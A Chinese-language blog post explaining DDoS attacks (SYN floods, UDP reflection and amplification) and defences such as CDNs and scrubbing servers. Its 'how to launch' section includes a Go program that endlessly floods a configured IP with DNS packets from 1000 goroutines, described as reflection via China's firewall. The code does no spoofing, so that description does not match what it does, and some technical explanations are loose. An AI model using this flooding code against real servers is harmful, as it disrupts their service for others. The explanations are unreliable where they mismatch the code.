什么是 DDOS 攻击#
DDOS,Distributed denial of service attack, 即为分布式拒绝服务攻击,是互联网上最常见的网络攻击手段,他的目的是通过大量的请求以耗尽服务器资源以导致正常请求无法响应。当黑客是使用两台或以上的计算机 (俗称肉鸡) 向服务器发送拒绝服务攻击时,则被称为分布式拒绝攻击。
DDOS 分为什么类型#
为了理解 DDOS 攻击的原理,我们需要了解 OSI 网络七层模型,该模型将通信系统中的数据流划分为七个层,从分布式应用程序数据的最高层表示到跨通信介质传输数据的物理实现。每个中间层为其上一层提供功能,其自身功能则由其下一层提供。功能的类别通过标准的通信协议在软件中实现。
OSI 七层模型的七层有#
- 物理层
通俗的讲,把数据链路层提供的比特流,转换 (调制) 成适用于不同介质的,稳定的信号并发送。 - 数据链路层
将传来的比特合成字节然后转换成帧,再加上帧头帧尾 - 网络层
进行逻辑地址寻址,实现不同网络之间的路径选择,将网络表头加至数据包,表头包含网络数据,例如 - 传输层
把传输表头加至资料以形成分组。传输表头包含了所使用的协议等发送信息。例如:传输控制协议(TCP)等。 - 会话层
会话层需要控制维护两台计算机之间的通信链接 - 表示层
表示层即为将数据转换为接收者兼容的并且适合传输的格式 - 应用层
应用层即为专门为应用而设计的接口,以设置应用间的通信,例如,HTTP,SSH,POP3,FTP
而分布式拒绝攻击一般存在在第四层和第七层,即为传输层和应用层。
而传输层的攻击方式也与应用层不一样,传输层有 tcp 协议和 udp 协议
我们都知道,TCP 要建立起连接需要三次握手,如图
为了简单的解释,我们将用户比喻成 bob,服务端比喻成 alice,然后 bob 在 114 房间,alice 在 514 房间。
第一次握手时,向 alice 发送 "你好 Alice,我是 bob,我在 114 房。"(发送 SYN 包)
同时,alice 收到 bob 的请求,然后第二次握手。
第二次握手时,alice 向 bob 发送 "你好 bob! 我在 514 房。"(发送 SYN+ACK 包)
然后第三次握手,bob 向 alice 发送 "好的,那我们开始传输数据吧。"(发送 ACK 包)
然后 bob 和 alice 开始传输数据
但是现实网络环境中,alice 回复 bob 后,bob 可能因为种种原因没有收到,就无法回复 alice,当 alice 在一定时间没有收到收到 bob 的回复时,就会重新向 bob 发送 syn+ack 包,而攻击者就利用了这个特点,他可以使用很多的计算机,一起多次向服务器发送 "你好 Alice, 我是 xxx, 我在 xxx 房。",然后 alice 就会耗费大量资源回复这些 syn 包,然后就因为资源不足而宕机。
这就是 SYN 攻击。
而什么是 UDP 攻击呢?
udp 也分很多种攻击,例如较为常用的反射攻击。
依旧拿 alice 和 bob 举例,但是新增一人,beast,在 191 房。
bob 向 alice 发送 "你好 Alice, 我是 beast,我在 191 房。"(NTP Request)
但是 alice 并不会向 bob 回复,而是 "你好 beast,我在 514 房。"(NTP Response)
此时 beast 就会收到 alice 的数据包,但是他对这个数据包没有头绪,所以做不了什么。
udp 还有 udp 放大攻击。
比如说,你百度搜索 "DDOS", 他就会给你返回好几十 KB 的数据,而这个 KB 除以你搜索的词的大小就是放大倍数。
bob 向 alice 发送 "你好 Alice, 我是 beast,我在 191 房,DDOS 是什么意思。"(NTP Request)
但是 alice 并不会向 bob 回复,而是 "你好 beast,DDOS 是指分布式拒绝服务攻击..."(NTP Response)
此时 beast 将会收到一个较大的数据包,当 bob 使用多个计算机作为反射服务器,并且多次发送请求,那样的话 beast 就会因为庞大的数据量而宕机。
如何发起 DDoS?#
警告!任何 DDoS 都是违法行为,如果你使用本博客的代码去攻击任何服务器,本博客均不负任何责任,示例代码仅供教学!
这里是一个利用中国国家防火墙作为反射源的示例代码:
package main
//引入必要依赖
import (
"fmt"
"github.com/miekg/dns"
"github.com/spf13/viper"
"net"
)
const numGoroutines = 1000 // 设置使用的goroutine数量
func main() {
// 读取配置文件
viper.SetConfigName("config") // 配置文件名为config.yaml
viper.AddConfigPath(".") // 在当前目录查找配置文件
err := viper.ReadInConfig() // 读取配置文件
if err != nil {
panic(err)
}
// 创建一个UDP连接
conn, err := net.Dial("udp", fmt.Sprintf("%s:%d", viper.GetString("server.ip"), viper.GetInt("server.port")))
if err != nil {
panic(err)
}
defer conn.Close()
// 创建一个DNS查询报文
msg := &dns.Msg{}
msg.SetQuestion("www.google.com.", dns.TypeA)
msg.SetQuestion("www.google.com.", dns.TypeAAAA)
// 创建多个goroutine
for i := 0; i < numGoroutines; i++ {
go func() {
for {
// 向指定IP和端口发送DNS请求
packed, err := msg.Pack()
if err != nil {
panic(err)
}
if _, err := conn.Write(packed); err != nil {
panic(err)
}
}
}()
}
}
以上是一个简单的利用中国国家防火墙作为反射源的 DNS 攻击实例,使用的编程语言为 Go
如何预防 DDoS?#
DDoS 没有预防的方法,目前主流的就两种
使用 CDN#
使用该方案需要隐藏你的源服务器 IP,该方案的好处是,分布式,原理比较好理解。攻击者不管怎么攻击都只能攻击到你的 CDN,没办法到你的服务器。
购买高防服务器#
使用该方案不需要隐藏你的源服务器 IP,该方案的好处是:防御可以做到非常大,并且不需要维护 CDN,缺点很明显,就是贵,贵,贼他妈的贵,为什么贵呢?例如一台 60Gbps 防御的服务器,则他的上游带宽则必须大于 60Gbps,不然还没等清洗你的服务器就他妈的封堵了,高防服务器是分清洗服务器和你的服务器的,他们两个通过内网连接,至于原理也很简单。
我们将清洗服务器称作 rick,你的服务器称作 alice,攻击者称作 bob
当 bob 向你的服务器发送一个 SYN 请求时,清洗服务器会先接收到这个请求,并且回复一个 SYN+ACK,用于检测用户是否是 SYN 攻击者,如果用户回复了 ACK 包,则清洗服务器和你的服务器建立起 TCP 连接,并且开始转发 bob 的数据。
当 bob 是攻击者时,他会不断地向清洗服务器发送 SYN 包,同时清洗服务器开始恢复 SYN+ACK,但是 bob 不是合法用户,只是一位 syn 攻击者,不会回复 ACK 包,则清洗服务器不会去转发攻击者的连接到你的服务器。
总结#
DDoS 虽然违法,但是他依旧存在,不管你的服务器多好,配置有多么高明,防御做的有多牛逼,总会有更厉害的人去恶意或非恶意去攻击你的服务器。刘慈欣在《三体》中所说:“你再快,也有比你快的,你再慢,也有比你慢的” 这个文章只是基于我以前被攻击的经历而发布的,如果内容有遗漏,欢迎各位大佬在评论区讨论,如果内容有错误,请指出。